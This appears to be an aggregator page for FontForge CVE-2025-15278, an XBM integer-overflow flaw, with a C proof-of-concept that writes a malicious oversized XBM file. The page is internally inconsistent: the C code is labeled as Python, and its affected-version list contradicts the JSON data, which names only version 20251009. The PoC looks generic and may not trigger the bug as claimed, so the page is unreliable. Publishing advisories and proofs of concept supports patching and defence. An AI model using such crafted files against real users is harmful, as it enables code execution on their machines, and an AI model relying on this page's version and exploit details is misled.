Security Vulnerability Report
中文
CVE-2025-15278 CVSS 7.8 HIGH

CVE-2025-15278

Published: 2025-12-31 07:15:52
Last Modified: 2026-01-07 16:01:04

Description

FontForge GUtils XBM File Parsing Integer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of FontForge. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of pixels within XBM files. The issue results from the lack of proper validation of user-supplied data, which can result in an integer overflow before allocating a buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-27865.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:fontforge:fontforge:20251009:*:*:*:*:*:*:* - VULNERABLE
FontForge < 20230101
FontForge < 20201107
FontForge < 20200314
All FontForge versions prior to security patch for CVE-2025-15278

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <stdio.h> #include <stdlib.h> #include <string.h> // PoC for CVE-2025-15278 - FontForge XBM Integer Overflow RCE // This PoC generates a malicious XBM file that triggers integer overflow void create_malicious_xbm(const char* filename) { FILE* fp = fopen(filename, "w"); if (!fp) { perror("Failed to open file"); return; } // XBM file header with oversized dimensions to trigger integer overflow // The width and height values are crafted to cause overflow when multiplied fprintf(fp, "#define test_width 65536\n"); fprintf(fp, "#define test_height 65536\n"); fprintf(fp, "static unsigned char test_bits[] = {\n"); // Generate pixel data that will overflow the buffer allocation for (int i = 0; i < 256; i++) { fprintf(fp, "0x%02x%s", (unsigned char)(i & 0xFF), (i < 255) ? ", " : ""); if ((i + 1) % 16 == 0) { fprintf(fp, "\n"); } } fprintf(fp, "};\n"); fclose(fp); printf("Malicious XBM file created: %s\n", filename); } int main(int argc, char* argv[]) { if (argc < 2) { printf("Usage: %s <output_xbm_file>\n", argv[0]); return 1; } create_malicious_xbm(argv[1]); return 0; } /* * Usage: * 1. Compile: gcc -o cve_poc cve_poc.c * 2. Generate malicious XBM: ./cve_poc malicious.xbm * 3. Open malicious.xbm with vulnerable FontForge version * * Note: This PoC demonstrates the integer overflow condition. * Actual exploitation requires additional shellcode and memory layout knowledge. */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-15278", "sourceIdentifier": "[email protected]", "published": "2025-12-31T07:15:52.193", "lastModified": "2026-01-07T16:01:03.727", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FontForge GUtils XBM File Parsing Integer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of FontForge. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of pixels within XBM files. The issue results from the lack of proper validation of user-supplied data, which can result in an integer overflow before allocating a buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-27865."}, {"lang": "es", "value": "Vulnerabilidad de ejecución remota de código por desbordamiento de entero en el análisis de archivos XBM de FontForge GUtils. Esta vulnerabilidad permite a atacantes remotos ejecutar código arbitrario en instalaciones afectadas de FontForge. Se requiere interacción del usuario para explotar esta vulnerabilidad, ya que el objetivo debe visitar una página maliciosa o abrir un archivo malicioso.\n\nLa falla específica existe dentro del análisis de píxeles en archivos XBM. El problema resulta de la falta de validación adecuada de los datos proporcionados por el usuario, lo que puede resultar en un desbordamiento de entero antes de asignar un búfer. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código en el contexto del proceso actual. Fue ZDI-CAN-27865."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fontforge:fontforge:20251009:*:*:*:*:*:*:*", "matchCriteriaId": "1C318A12-82C3-4AD4-9BDF-A7B485A20A38"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1185/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}